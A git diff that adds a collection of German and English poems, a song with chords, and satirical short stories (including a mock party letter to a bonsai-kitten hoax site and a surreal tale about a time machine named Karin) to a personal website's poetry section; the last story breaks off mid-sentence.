Cheerleadermaedchen abbekommt, und bestaetigt alle Stereotype und huscht durch das Wohnzimmer zurueck in das ehemalige Zimmer, das laengst zum Buero umfunktioniert wurde und tastet sein Gesicht nach Pickeln ab. + +Noch waehrend man den Obstkuchenfleck auf seinem Alt-F4 Shirt breitreibt, hoert man vor der Tuer die Nachbarskinder tuscheln und "wenn du mich aergerst, hol ich meinen grossen Bruder und der haut dich" scheint obsolet zu sein, jetzt bedrohen sie sich mit "dann hackt der dein Konto" und das geht spaetestens dann schief, wenn sie uebermuetig den Dorffaschos mit "und der macht dir Punkte in Flensburg" drohen. + +Und langsam reift die Erkenntnis, dass man seinen Eltern erzaehlen will, man wuerde jetzt Baecker oder Kfz-Mechaniker oder Bankdirektor. + +Oder Bundeskanzler! diff --git a/stories/poetry/bsd.vs.linux.md b/stories/poetry/bsd.vs.linux.md new file mode 100644 index 0000000..cd5c4fd --- /dev/null +++ b/stories/poetry/bsd.vs.linux.md @@ -0,0 +1,11 @@ +<!-- +.. title: BSD vs. Linux +.. date: 2002/02/01 +.. tags: poetry +--> + +The daemon and penguin are fighting,<br/> +under which license thou should be writing.<br/> +But an a closer look,<br/> +to me it is enuk,<br/> +that emacs has syntax high-li-ting!<br/> diff --git a/stories/poetry/domizil.md b/stories/poetry/domizil.md new file mode 100644 index 0000000..8caa24d --- /dev/null +++ b/stories/poetry/domizil.md @@ -0,0 +1,19 @@ +<!-- +.. title: (erdgeist II) Domizil +.. date: 2002/12/02 +.. tags: poetry +--> + +Wohl dem, der die Einsamkeit noch<br/> +als Schatten begreift und nicht<br/> +als das Universum, aus dem man<br/> +vereinzelt nur Sternstunden<br/> +der Freiheit sich pflueckt.<br/> +Und welch Unglueck fuer den,<br/> +der sich, vom Instinkt ueberwaeltig,<br/> +des Lichts entsagt, nur um einem<br/> +sich selbst nie erfuellenden Traum<br/> +der Freiheit nachzugehn.<br/> +Ich hingegen habe mein Domizil gefunden,<br/> +in das bisher noch alle wandernden Seelen<br/> +frueher oder spaeter zurueckfanden. diff --git a/stories/poetry/dreiviertel b/stories/poetry/dreiviertel new file mode 100644 index 0000000..0aba2f6 --- /dev/null +++ b/stories/poetry/dreiviertel @@ -0,0 +1,33 @@ +C D +Schnee im April im Cafe auf der Strasse +G a E +eiskalt erwischt beim Treffen mit dir +C D +Erfrorene Worte schlittern nun rastlos +G E +taumelnd und einsam vor mir + +Eiszapfen gleich stechen die Blicke +die deine verschneiten Augen verteiln +zieh dich warm an und geniesse die Stunden +die Glueck und Elend bei dir noch verweiln. + + C d + Wohin immer du gehst, + E F + was auch immer dich treiben mag + G a + die Zeit ist vorbei, + B A + wo die Zeit noch Gefangene macht. + + Was auch immer du suchst, + + wer auch immer dich finden mag, + + die Zeit gibt kleinbei, + + wenn du ihr nur ein Laecheln schenkst. + +Regen im Mai beim Konzert auf der Wiese +klatschnasse diff --git a/stories/poetry/elokpaula.md b/stories/poetry/elokpaula.md new file mode 100644 index 0000000..a89d4e6 --- /dev/null +++ b/stories/poetry/elokpaula.md @@ -0,0 +1,17 @@ +<!-- +.. title: E-Lok Paula +.. date: 1999/12/01 +.. tags: poetry +--> + +Und da saß ich nun im Bummelzug von New York nach Idar Oberstein, nachdem ich gerade erfolgreich am Ärztekongreß über postmortale Harninkontinenz teilgenommen & natürlich alle in Grund & Boden debattiert hatte. Alles lief seinen üblichen Gang: kurz vor Einfahrt des Zuges war meine Tasche auf die Gleise gefallen, weshalb mein neu erstandenes Vibratorset jetzt leicht verbogen ist, zwei Mexikanerjungen, die für ein geringes Bakshish Koffer für die Reisenden tragen, verloren ihr Leben, als sie sich im Kampf um meinen Rollcontainer gegenseitig gegen die Hochspannungsleitungen warfen & der Lokführer schoß uns den Weg durch den Pöbel frei, der keine Platzkarte bekommen hatte. Der Pöbel zog 'ne Flappe & verstreute sich dann. + +Doch nun saß ich gemütlich im Zug, probierte alle meine neuen Deosticks aus & erfreute mich an der Zugluft, als eine Stewardeß bestürzt durch mein Apartment stolperte & schrie: "Sie muß verrückt geworden sein... zur Hülf!" worauf sie durch mein offenes Kellerfenster nach jenseits der Gleise sprang. Aber weit gefehlt. + +Niemand war verrückt geworden, es lagen nur gehörige Mißverständnisse vor, aber dazu später dann mehr. Plötzlich kam ich, um den Faden wieder aufzunehmen, auf die Idee, meine Geschichte nicht mehr in der Vergangenheitsform zu erzählen & das tue ich nun. Ich werde also, um die Spannung aus dem Plot zu nehmen, dorthin laufen, woher die aufgeregte junge Dame gekommen sein wird & dort feststellen, daß erstens ich barfuß in einer Ölpfütze stehe & zweitens die Kuhüberreste, die sich am seitlichen Fenster langsam in einer der Fahrtrichtung entgegengesetzten... äh Richtung entlang schleifen lassen werden, darauf hindeuten können würden, daß mit der 293,70 Euro teuren Zugfahrt etwas nicht stimmen wird. Ich vermute später nachdem ich mit dem Futur ebenfalls gebrochen habe, daß sich der Grund hierfür im Speisewagen befände; nach einer Odyssee durch Nicht- & - Raucherabteils, Bordtelefone, verschiedene Kulturmetropolen & ein heruntergekommenes Fischgeschäft würde ich aber eines Besseren belehrt: Ich träfe nämlich den Lokomotivführer, der mir erklärte, mein Konjunktiv wäre zutiefst unpassend & die Lok spielt verrückt. Ich schleiche mich also in den Führerstand, weiche eins, zwei entgegenkommenden Ampeln aus, die Ölflecke an meine Füßen ein & frage die Lok entspannt, was los sei. Sie erwidert, von mir jetzt kurz zusammengefaßt, ihre Probleme seien größtenteils sexueller Natur (was ich ihr natürlich nicht glaube) worauf das gesamte Publikum grölt. Daraufhin ist sie noch beleidigter & setzt gerade an, die Schneise die sie eben in den Wald wälzt, Richtung Fluß zu lenken, als ich aus dem gerade heimlich hervorgekramten Führer zum "Umgang mit manisch depressiven Triebfahrzeugen" die einfühlsamen Worte "Erzähl mir doch deine Geschichte" vorlese. Das lenkt die Lok für ein paar Sekunden ab & noch bevor sie ihre halbfertigen Memoiren zur Hand hat, kann ich einen Selbstzerstörungsmechanismus installieren & abspringen. Als Paula, so hieß laut dem Aufdruck auf ihrem Tagebuch, auf das ich einen heimlichen Blick erhaschen konnte, die Lokomotive, also als Paula klar wird, was geschehen war & in Ermangelung von Extremitäten Extremisten beauftragt, den Selbstzerstörungsmechanismus in die Luft zu jagen, diese jedoch Geld & Plutonium dafür verlangen & das Wochenbudget von Paula ausgeschöpft bzw. ihre Coupons längst verbraucht sind, versprach sie, jetzt vernünftig zu sein, auf die Schiene zurückzukehren & durch Überschreiten der Höchstgeschwindigkeit den Fahrplan wieder einzuhalten. Ich bekomme langsam Mitleid & wieder einen präteritativen Schreibstil, jedoch waren die voreingestellten 5 Minuten bereits um & noch bevor ich die timbuktische Nationalhymne zum Entschärfen der Gravitonenbombe hätte zu ende pfeifen können, flogen mir die Memoiren einer E- Lok namens Paula um die Ohren. + +Ich überflog sie rasch, anscheinend hatte Paula mir, zumindest der letzten Eintragung nach, bereits vergeben & ich fand endlich den Grund für ihre Traurigkeit. Der innige Körperkontakt mit anderen Lokomotiven, den Paula brauchte, hätte bei den für sie typischen Geschwindigkeiten verheerende Folgen gehabt & war ihr deswegen verboten worden, so steigerte sich ihre Depression von Tag zu Tag & gerade heute wurde es ihr zuviel & eigentlich hatte sie bis zum Zeitpunkt meiner Intervention vor, das Lokomotivmuseum in Klein Aaknach zu besuchen, in das sie nun, aufgrund meiner Bemühungen gebracht wurde, in Einzelteilen, natürlich... Den Schornstein dürfte ich als Andenken behalten... wenn es eine Dampflok gewesen wäre. Er schmückte dann heute den Tisch meines Verteidigungsministers. + +Aber so... + + Karl G. diff --git a/stories/poetry/fdp.md b/stories/poetry/fdp.md new file mode 100644 index 0000000..8284527 --- /dev/null +++ b/stories/poetry/fdp.md @@ -0,0 +1,60 @@ +<!-- +.. title: F.D.P. +.. date: 2002/06/01 +.. tags: poetry +--> + +Dear http://www.bonsaikitten.com/ staff,:: + + I am speaking for a larger german party called + F.D.P. ( the Free Liberal Party: + http://www.fdp.de/ ) As you might know, on + September, 22nd the next election for the + German Bundestag will take place and we + currently are preparing our election campaign. + As providing giveaways for interested voters + always is a good idea, we consider ordering a + larger quantity of kittens. + + Now there are some questions left about this + strategy: + * Is it possible to form a single kitten into + our F.D.P. shape, or will we have to order + a set of 3 kittens each for a single letter? + * Is it possible to colorize the kittens in + our party logo colors blue and yellow? Maybe + the space between each letters and its dots + in blue and the remaining space yellow? + * if we order, say 100.000 kittens, will you + offer a discount? + * is it possible to order these kittens on a + commission base? That's because if we don't + get enough votes in the election, we may not + be able to pay all the kittens. Maybe you + shape/form 50.000 pieces "just a bit" so + you can reinflate them when we send them + back? + * As we currently have some problems + concerning accuses of antisemitism we want + to be sure not to let jewish cats be put into + glasses, as this might result in bad press + of the kind "F.D.P. imprisons jewish kittens". + Could you please verify that each of these + kittens is not pruned? + * Of course it would be necessary to have those + pets as soon as possible, how long would + it take until the shaping is perfect? May we + suggest giving HGH to accelerate the growth? + + If you can fulfil our needs we even may think + about ordering a special "parachute edition" + which could be dropped at campaign events. + + And: if your support leads us to government, we + will pass a law, forcing every school to have + at least one kitten for biology classes. + +Yours sincerely + + Martin Matz + chairmember of F.D.P. diff --git a/stories/poetry/feindkontakt.md b/stories/poetry/feindkontakt.md new file mode 100644 index 0000000..8d73834 --- /dev/null +++ b/stories/poetry/feindkontakt.md @@ -0,0 +1,47 @@ +<!-- +.. title: Feindkontakt +.. date: 2001/08/01 +.. tags: poetry +--> + +Es ist wieder Zeit, nachzudenken.<br/> +Das Leben breitet sich vor dir<br/> +aus wie unbekanntes Feindesland.<br/> +Und sie wollen von dir, dass du,<br/> +ohne Plan und nahezu unbewaffnet<br/> +und schlecht ausgebildet<br/> +deinen Kopf behaeltst und nicht<br/> +aus Versehen den Falschen triffst<br/> +und den Deinen Schande bereitest.<br/> +Und noch waehrend du dir deine<br/> +Strategie zurecht legst<br/> +und aus deiner Deckung kriechst,<br/> +fuehlst du, dass es fuer dich hier<br/> +und jetzt vorbei ist.<br/> +Dass es an der Zeit ist, endlich<br/> +das Kommando zu uebernehmen und<br/> +die gottverdammte Verantwortung.<br/> +Dass es Zeit wird, aufrecht zu<br/> +gehen, auch wenn du dabei Gefahr<br/> +laeufst, dir den Kopf zu stossen.<br/> +Und dass du merkst, dass dies kein<br/> +Grund ist, auf dich stolz zu sein<br/> +sondern dass du dich beschaemt und<br/> +enttaeuscht fuehlen muesstest,<br/> +dass du selbst und die meisten<br/> +um dich herum gekrochen sind.<br/> +Und es ist an der Zeit, dass du<br/> +endlich erkennen und im Stehen<br/> +keine Fronten sehen wirst,<br/> +von denen sie erzaehlt haben, dass<br/> +sie sich direkt vor dir befinden.<br/> +Und ja! Schrei es hinaus und<br/> +tanze und springe durch dieses<br/> +... Vaterland.<br/> +Und wenn dich alle anderen<br/> +ausgelacht haben, dann leg dich<br/> +ruhig wieder hin.<br/> +Denn du hast ja bewiesen, dass<br/> +du nachgedacht hast und die<br/> +Ketten von dir geworfen.<br/> +Aber taeglich?<br/> diff --git a/stories/poetry/freiheit.md b/stories/poetry/freiheit.md new file mode 100644 index 0000000..f6d8997 --- /dev/null +++ b/stories/poetry/freiheit.md @@ -0,0 +1,21 @@ +<!-- +.. title: (erdgeist III) Freiheit +.. date: 2002/12/03 +.. tags: poetry +--> + +Freiheit der Seele<br/> +ist eine Illusion.<br/> +Und gerade, weil mich seit<br/> +Jahrhunderten umtreibt,<br/> +was der Wille nicht zu<br/> +verhindern mochte<br/> +und ich Seelen, Geister,<br/> +ach so freie Gestalten<br/> +einfing, wie die Sonne<br/> +die Erde und die Erde<br/> +den Mond.<br/> +Gerade deswegen weiss ich,<br/> +dass auch du allzu gern<br/> +Geborgenheit gegen Freiheit<br/> +eintauschen wirst. diff --git a/stories/poetry/fruehlingsgewitter.md b/stories/poetry/fruehlingsgewitter.md new file mode 100644 index 0000000..90941d1 --- /dev/null +++ b/stories/poetry/fruehlingsgewitter.md @@ -0,0 +1,30 @@ +<!-- +.. title: Frühlingsgewitter +.. date: 2002/05/02 +.. tags: poetry +--> + +Wenn das Grau der Stadt sich mischt<br/> +mit dem schweren Dunkel des Regens,<br/> +der sich langsam ueber uns legt,<br/> +wie eine alte staubige Gardine,<br/> +und uns einfaengt, wie zerfetzte<br/> +Weben einer unsichtbaren Spinne.<br/> +Wenn zur Last der durchnaessten<br/> +Kleider auf den Leib<br/> +noch der Himmel eine unertraegliche<br/> +Schwere auf die Seele legt.<br/> +Wenn der stete Wind, der die<br/> +Tropfen auf der Haut trocknet,<br/> +mich noch mehr froesteln laesst,<br/> +als der Wiederhall des Wetters<br/> +aus der Ferne, der sich mischt mit<br/> +dem bedrohlichen Zucken des Lichts.<br/> +Und wenn es sich spiegelt,<br/> +in deinen Augen, deren Gegenwart<br/> +deine blasse Haut unmerklich<br/> +in der Tiefe des Aprils verlieren<br/> +und mich traeumen laesst.<br/> +Dann sind genau diese Augen der Ort,<br/> +an dem ich Klarheit finde<br/> +und Waerme und Farbe.<br/> diff --git a/stories/poetry/geaendert.md b/stories/poetry/geaendert.md new file mode 100644 index 0000000..9486799 --- /dev/null +++ b/stories/poetry/geaendert.md @@ -0,0 +1,18 @@ +<!-- +.. title: Geändert +.. date: 2001/07/01 +.. tags: poetry +--> + +Dinge aendern sich.<br/> +Wo in der Erinnerung noch Monumente<br/> +neben laengst verdraengtem<br/> +prachtvoll sich erheben,<br/> +wo aus schoengefaerbter Vergangenheit<br/> +Trugbilder gluecklicher Stunden<br/> +auftauchen und den Verstand vernebeln,<br/> +wo der fade Nachgeschmack des<br/> +wohl selbstverschuldeten Endes<br/> +an sich selber zweifeln laesst,<br/> +wo einst Frohsinn regierte und Liebe,<br/> +haben sich die Dinge halt geaendert.<br/> diff --git a/stories/poetry/gefangen.md b/stories/poetry/gefangen.md new file mode 100644 index 0000000..eb397c9 --- /dev/null +++ b/stories/poetry/gefangen.md @@ -0,0 +1,17 @@ +<!-- +.. title: Gefangen +.. date: 2010/08/01 +.. tags: poetry +--> + +Jetzt hast Du mich<br/> +Eingefangen und läßt<br/> +Mich nicht mehr los<br/> +Und es bleibt das Gefühl<br/> +Als trüge ich nun<br/> +Den mir in diesem kurzen Moment<br/> +Des Berührens angelegten Ring<br/> +um Herz, Verstand, Bein und Hand<br/> +Und wenn ich aufsteige und fliege<br/> +Und ankomme sieht man mir doch<br/> +Noch das Treffen an, mit Dir. diff --git a/stories/poetry/gefunden.md b/stories/poetry/gefunden.md new file mode 100644 index 0000000..05d6483 --- /dev/null +++ b/stories/poetry/gefunden.md @@ -0,0 +1,19 @@ +<!-- +.. title: Gefunden +.. date: 2003/09/01 +.. tags: poetry +--> + +Endlich!, wuerde ich sagen.<br/> +Doch nachdem<br/> +zu ungenau ich gezaehlt,<br/> +zu sorglos ich mich versteckt,<br/> +zu unachtsam ich geschmult,<br/> +zu heftig ich geatmet,<br/> +zu zaghaft ich gesucht und<br/> +zu offensichtlich ich mich<br/> +zu erkennen gegebene habe,<br/> +nach einem fluechtigen Blick<br/> +geht das Spiel einfach<br/> +in die naechste Runde.<br/> +Du bist dran. diff --git a/stories/poetry/grau.md b/stories/poetry/grau.md new file mode 100644 index 0000000..0d096de --- /dev/null +++ b/stories/poetry/grau.md @@ -0,0 +1,26 @@ +<!-- +.. title: Grau +.. date: 2003/05/01 +.. tags: poetry +--> + +Die grauen Maenner kommen<br/> +an den hellen Tagen nur.<br/> +Und bewaffnet mit nichts als den<br/> +verlorenen Illusionen allein,<br/> +kleingehackt und aufbereitet<br/> +in schoene und als unerreichbar<br/> +deklarierte Traeume,<br/> +sehnsuchtsvoll all den Momenten<br/> +hinterhertrauernd, in denen<br/> +man sie, Stueck um Stueck,<br/> +verloren hat und geschlagen<br/> +mit einer Wut, die so hilflos<br/> +und aengstlich wirkt gegen den<br/> +von der Leine gelassenen, alles<br/> +bedrohenden Schweinehund,<br/> +mit diesen laecherlichen Fetzen<br/> +also, Ideen eines anderen Jetzt,<br/> +zahlt man den grauen Maennern,<br/> +wie ueblich, ihren Zoll. + diff --git a/stories/poetry/grossejungs.md b/stories/poetry/grossejungs.md new file mode 100644 index 0000000..60466a7 --- /dev/null +++ b/stories/poetry/grossejungs.md @@ -0,0 +1,23 @@ +<!-- +.. title: Große Jungs +.. date: 2003/10/01 +.. tags: poetry +--> + +Die Augen sind nicht kleiner geworden,<br/> +ueber die Jahre und haben nichts<br/> +von ihrem Glaenzen verloren.<br/> +Nein. Noch immer stolpern wir ohne<br/> +nachzudenken jedem Spielzeug hinterher.<br/> +<br/> +Die Jungs sind nicht weiser geworden,<br/> +denn waehrend die Seifenkisten und<br/> +Plasteautos den Echten wichen,<br/> +mussten echte lebendige Maedels<br/> +den geseiften Plastefrauen Platz machen.<br/> +<br/> +Die Welt ist um nichts besser geworden,<br/> +man liebt sich und betruegt sich,<br/> +und am Ende spielen doch,<br/> +wie seit Generationen die Vaeter,<br/> +immer wieder nur die Jungs mit den Jungs.<br/> diff --git a/stories/poetry/header b/stories/poetry/header new file mode 100644 index 0000000..2e2c4af --- /dev/null +++ b/stories/poetry/header @@ -0,0 +1,4 @@ +<!-- +.. title: +.. tags: poetry +--> diff --git a/stories/poetry/im_sog.md b/stories/poetry/im_sog.md new file mode 100644 index 0000000..a26b0de --- /dev/null +++ b/stories/poetry/im_sog.md @@ -0,0 +1,20 @@ +<!-- +.. title: Im Sog +.. date: 2005/01/01 +.. tags: poetry +--> + +Wenn der letzte Halt genommen,<br/> +Respekt, Ehre, Treue und Liebe<br/> +verfallen sind.<br/> + +Dann bleibt nur die Wollust,<br/> +das Triebhafte hinab in den Strudel<br/> +des unreflektierten Hedonismus.<br/> + +Ein ewiges Stuerzen in den Schlund<br/> +des Zwanghaften, aufgerieben<br/> +an den letzten standhaften Vorspruengen,<br/> +die das Anstaendige<br/> +in die glitschigen Waende<br/> +der Verdammnis gerammt hat. diff --git a/stories/poetry/index.rst b/stories/poetry/index.rst new file mode 100644 index 0000000..8c3c125 --- /dev/null +++ b/stories/poetry/index.rst @@ -0,0 +1,13 @@ +.. link: +.. description: erdgeist schreibt +.. tags: +.. date: 1970/01/01 01:00:00 +.. title: poetry +.. slug: index +.. hidetitle: + +.. post-list:: + :all: + :tags: poetry + :template: list_poetry.tmpl + :id: poetry diff --git a/stories/poetry/kuenstler b/stories/poetry/kuenstler new file mode 100644 index 0000000..901a348 --- /dev/null +++ b/stories/poetry/kuenstler @@ -0,0 +1,30 @@ +Lieber [...Kuenstler...], + +die Realitaeten unter den Medienkonsumenten haben sich in Richtung +eines Zustands verschoben, in der staendig (fast) alle Werke online +zur Verfuegung stehen. +Wenn man die Werke mag, die man sich nun kostenlos besorgen kann, +hat man leider bisher keine Moeglichkeit, den Kreativen finanzielle +Wertschaetzung zu erweisen, ohne die gesamte Verwertungsindustrie +bestehend aus Einzel- und Grosshandel, Ton/datentraegerproduzenten, +Rechteverwaltern und Marketing zu alimentieren. +Deswegen hat [...] ein Treuhandkonto eingerichtet, auf das jeder, +der meint, einen Kuenstler seiner Wahl finanziell unterstuetzen zu +wollen und damit auch unabhaengiger zu machen, einen ihm genehmen +Betrag einzuzahlen, der anonymisiert sofort weitergereicht wird. +Damit kauft man sich natuerlich auf juristischer Ebene nicht frei, +vielleicht aber auf moralischer. Andererseits ist so eine Spende +lange kein Eingestaendnis, illegale Kopien der Werke zu besitzen, +das Unterstuetzen von Kuenstlern hat eine lange Tradition und +erstmals kann man problemlos seinen kleinen privaten Beitrag dazu +leisten. +Alles, was wir dazu brauchen, ist eine private Kontonummer +(Kollektiv/Band/Vereins-konto), auf die wir die Spende weiterreichen +koennen. Die Bankverbindung wird natuerlich nicht veroeffentlicht, +genausowenig wie die Kontokoordinaten der Spender. Spenden, die +unter das Geldwaeschegesetz fallen wuerden, werden zurueckgewiesen, +genauso wie solche, die keinem Kuenstler eindeutig zuzuordnen sind. +Unter [... www.bank.de/spenden ...] kann man alle Transaktionen +nachvollziehen. + +Weitere Informationen finden sich unter [... www.dieguten.de ...] diff --git a/stories/poetry/lovers.md b/stories/poetry/lovers.md new file mode 100644 index 0000000..92a7989 --- /dev/null +++ b/stories/poetry/lovers.md @@ -0,0 +1,15 @@ +<!-- +.. title: Lovers!? +.. date: 2000/11/01 +.. tags: poetry +--> + +Dort unter den Weiden,<br/> +beide vom Neumondschatten verwoehnt,<br/> +Lautlosem Rascheln der Blaetter<br/> +in windstiller Nacht lauschend,<br/> + +sucht er den Polarstern,<br/> +sie den kleinen Baeren,<br/> +und beide wuenschten sich,<br/> +die Wolken wuerden verschwinden. diff --git a/stories/poetry/madkarin.md b/stories/poetry/madkarin.md new file mode 100644 index 0000000..74e9fc9 --- /dev/null +++ b/stories/poetry/madkarin.md @@ -0,0 +1,35 @@ +<!-- +.. title: Mad Karin +.. date: 2002/04/01 +.. tags: poetry +--> + +"Schnauze, Schneewittchen", denk ich noch bei mir und will mich wieder umdrehen, "kann man denn nicht einmal in Ruhe ausschlafen?" Aber es will einfach nicht aufhoeren. Kopfkissen und Bettdecke helfen genau gar nichts und das T-Shirt laesst sich nicht so leicht um den Kopf wickeln. Ich taste muede nach der Fernbedienung, bade dabei meine Hand in Muesli, weiss nicht und alter Unterwaesche und der Powerknopf macht nur noch mehr Laerm an. Worueber sich Gretel nun massiv beschwert. "Grandioser Start in den Tag", finde ich und nehme mir vor, nicht mehr mit Pilzen zu experimentieren wobei sich "frisch machen" nach einem soliden Plan anhoert. + +Ich schubse die beiden beiseite und gruesse kurz Haensel, der es sich zwischen den Geranien bequem gemacht hat. "Ich hab im Flur Pflanzen?", gruebel ich noch kurz, werde aber von Einstein unterbrochen, der vorm Klo hin- und herhopst und sich in den allerschoensten Rottoenen den Piephahn zudrueckt. "Der bloede Napoleon kackt schon seit 'ner Stunde", schimpft er. Eigentlich steht mir der Sinn im Moment nicht nach Streit mit Staatsoberhaeuptern, aber trotzdem bummer ich gegen die Tuer, teils aus latentem Ungerechtigsempfinden, teils, weil ich dort selbst Einlass begehre. Ein bellendes "Ruhe da, hier werden wichtige Geschaefte erledigt" korrigiert jedoch meinen Bedarf an Argumentationen nach unten. "Kueche reicht ooch", beschliesse ich feierlich, da ich mir eh nur frisches Wasser ins Gesicht stellen wollte. + +"Japp" jauchze ich, "Entscheidungen am fruehen Morgen machen halt erst dann Laune, wenn man sie getroffen hat." Ein gewagter Trab entlang des Flurs verschafft mir eine komfortable Stellung neben der Spuele, von der aus ich Batman und Goethe, die sich lebhaft ueber Latexunterhosen streiten, prima ignorieren kann. Was mir leider mit der, anscheinend umgekehrt proportional zur Uhrzeit immer gehaessiger schrillenden Tuerbimmel nicht so leicht gelingt, die mich just beim Hahnaufdrehen eiskalt erwischt. "Schosbodphadammta", grunz ich und scchildkroete mich zur Tuer, die sich dann aber herrlich wutentbrannt aufreissen laesst. Postbotin. + +"Unglaublich", stelle ich fest, "dass es so bestimmte Leute gibt, die man einfach dafuer hasst, dass sie ihrer alltaeglichen Beschaeftigung nachgehen." "Also bloss zu den falschen Zeiten natuerlich", relativiere ich mich. Aber eigentlich ist es wie mit Finanzbeamten, Politessen und dem Papst. Aber das ist ein anderes Thema. + +"Hab ich ueberhaupt Shorts an?" durchzuckt es mich und ich versuche, so beilaeufig wie moeglich an mir herunterzulinsen, was meinem Antlitz einen gruendlichen Hauch von Debilitaet verleiht. Die Hausfriedensbrecherin zeigt sich von meinem Auftritt komplett unbeeindruckt, was ich zwar als Beleg fuer die rudimentaere Vollstaendigkeit meiner Bekleidung deuten kann, aber ein gewisses Mass Entruestung ueber meinen Aufzug habe ich schon erwartet. "Was gibts?" klaeffe ich in gerade erst erlerntem Tonfall, was mich zumindest kurzfristig wieder Herr der Lage werden laesst und die neugierigen Blicke meinen Korridor hinunter auf mich verlagert. "Paket fuer Sie", scheint sie sich wieder des Grunds der Stoerung zu entsinnen. + +Beim schwungvollen Tuerzuwerfen klemmt ueberraschend ein Postbotinnenschuh zwischen Tuer, gestiefeltem Kater und Rahmen. Hat wohl wehgetan. "Is schlimm?" scheinheilige ich. Einigermassen gefasst in Anbetracht des geknautschten Gesichts sprudelt es ihr heraus: "Ist das da Einstein, der da gegen ihre Wand hoppst, ich wollte schon immer mal ein Autog..." Fuss draussen, Tuer zu. "Irgendetwas hab ich wohl vergessen", bemerk ich erstaunlich gewitzt fuer die Uhrzeit: Tuer auf, "ramm von dem, wissen sie ich hab ja scho", Paket aus der Hand gerissen, "n so viel gelesen von i...", Tuer zu, Ruhe. Zumindest, bis sie sich erinnert, wo die Klingel ausgeloest wird. Ich schau mich kurz um, ob bei Grimm auch beamtenfressende Ungeheuer vorkommen. Ich erinner mich nicht ganz genau, aber da auf ein wirklich lautes "Postbote, FASS!" genau gar nichts passiert, nehm ich eher "nein" an. Und ein zwischen Glocke und Kloeppel gestopftes Tempo hilft auch erstmal. + +Das Paket fuehlt sich weich an. "Bitte lass es einfach ne Briefbombe sein", fleh ich, aber "Platiksprengstoffpaketbombe" hoert sich einfach nicht wie aus den Nachrichten an. Missmutig reiss ich das Papier herunter. Koteletts. + +Ich versuch mich jetzt muehsam an den gestrigen Abend zu erinnern, finde aber, dass "an alles _nach_ dem Aufstehen erinnern" vollkommen reicht. Also bruell ich "wer hat hier Koteletts bestellt" durch die Wohnung, worauf der boese Wolf angesprungen kommt und es sich mit seinem frisch erbeuteten Fruehstueck in meiner Flugarderobe bequem macht. Auf meine fragenden Blicke schmatzt er bedeutsam zu Rotkaeppchen rueber: "Einstweilige Verfuegung, ich darf nicht naeher als 5 Meter an sie ran. Die hat jetzt n Anwalt." Damit loest sich meine gerade erst gewonnene Idee zur Dezimierung des Brieftraeger- und Maerchenfigurenbestands in Luft auf. "Macht nix", hoffe ich, verwerfe in Anbetracht des Riesen, der sich anschickt, den Wasserhahn leerzuschluerfen, noch schnell den Erfrischungsgedanken und schluerfe nun meinerseits zurueck. + +Die Badtuer ist frisch eingetreten und im Inneren beeilen sich der liebe Gott und ein kleiner Eroberer, ihre Bloesse vor einem wuetenden Physiker zu verbergen. + +"Klar!", glaub ich und "Bett". Darauf haben sich leider Unmengen an Unterlagen haeuslich eingerichtet, die wohl zu dem gegelten Anwalt gehoeren, der gerade Schneewittchen die Filmrechte abschwatzen will. Gretel ist immer noch dabei, auf die beiden einzureden, dass das mit den Brotkrumen wohl eindeutig ihr Patent sei und Haensel schlaeft. + +Ein kurzer Blick verraet mir, dass in den Geranien kein Platz mehr ist. Wenn nicht schon laengst, verinnerliche ich mir, ist _jetzt_ der Moment zum endgueltig wach werden. Ist ja schliesslich auch nicht mehr zum auszuhalten, nicht war? Wird naemlich langsam mal Zeit, dass ich rausfinde, was hier los ist. Und bei dem ganzen Durcheinander ist es auch nicht leicht, nen sinnigen Plot zusammenzustricken. + +Ich klatsch mir kurz gegen die Stirn: "na klar, ich mach einfach als auktorialer Erzaehler weiter." Haett ich auch frueher drauf kommen koennen. Ich reisse also - wissend - die Kammertuer auf und da steht, traurig und in sich versunken, Karin, die depressive Zeitmaschine. "Natuerlich"- faellts mir wieder ein, die hab ich gestern in ner Bar aufgegabelt, wo sie unter ihrem Makeup, und vielleicht dem Einfluss einiger Biere, aber noch bedeutend einladender ausgesehen hatte. + +"Warst du das hier etwa" herrsche ich sie an, worauf sie schuldbewusst auf ihren Flux-Kompensator schielt. "Ja!" gibt sie kleinlaut zu, "Immer wenn ich verzweifelt bin, schiess ich Persoenlichkeiten aus der Weltgeschichte durch die Zeit, um wenigstens ein bisschen Spass zu haben". "Ich wollte dir keinen Kummer machen." Aber ich bin noch nicht zu frieden. "Du bist eine Zeitmaschine, Maerchenfiguren sind aber keine realen Gestalten, du kannst sie gar nicht hierherbefoerdern" hake ich nach. Daraufhin kann sie auch nur mit den Schultern zucken und meint, dass das dann wohl mein Problem sei. Ich bedeute ihr kurz, zu warten, waehrend ich Schneewittchen auf den Sachverhalt hinweise. Diese antwortet nur "Ist das so?" und mit einem Plopp, den man eigentlich nur aus Situationen irgendwelche Sanitaeranlagen betreffend, kennt, loest sie sich in Luft auf. Und ueberall, wohin ich auch gucke, die ganze Zauberwaldmeute nirvanat sich hinfort. + +"Das war ja einfach" - gratulier ich mir, aber so ganz behagt mir nicht, dass der liebe Gott sich auf meiner Flur immernoch mit Napoleon vergnuegt. Ich pflaume da kurz zwischen, dass ich ja wohl Atheist sei und wech ist er. So langsam beginne ich Freude an dem Spiel zu entwickeln und ueberlege mir, wie ich das demnaechst mal gewinnbringend einsetzen sollte, werde aber von einem wuetenden Anwalt und einem sitzengelassenen Feldherren bedraengt. Auch Goethe langweilt sich wieder und will am liebsten nach Hause. Is mir aber herzlich egal. Soll Einsteins Memoiren schreiben. Vorher soll der mir aber noch meine Klotuer wieder einhaengen. Hebelgesetze beherrscht er, muss ich zumindest neidlos anerkennen. Finde aber in Anbetracht der Tatsache, dass sich inziwschen zwischen Dschingis Khan und Stalin ein Faustkampf um das Privileg des grausamsten Herrschers entzuendet hat, das Karin erstmal beruhigt werden muss. Zum Glueck hab ich noch nen Anwalt in meiner Plattensammlung stehen, den ich mit der Aussicht auf ein Freibier auf die bekloppte Zeitmaschine loslassen kann. + +Keine Minute spaeter ist die Kammer leer. Ich ueberleg noch schnell, ob ich diese Strategie auch fuer spaetere Dates benutzen koennte, aber irgendwas stimmt immer noch nicht. Findet Che Guevara auch. Klaus, so heisst der Anwalt, huestelt zweimal kurz pikiert und schon ist Karin wieder da, entfernt die verbliebenen Fremdpolitiker aus meinem Zimmer und ist auch gleich schon wieder verschwunden. So ganz ehrlich interessiert mich nicht, wie er sie losgeworden ist, denn er steht noch da. Ich bruell noch hinterher "Und der Jurist!?", aber keine Spur von Karin. Klaus guckt mich nur hinterhaeltig an und meint, er vertraete jetzt meinen neuen Mitbewohner, wobei er hoeflich auf das Muesli zeigt, vorhin haben wir 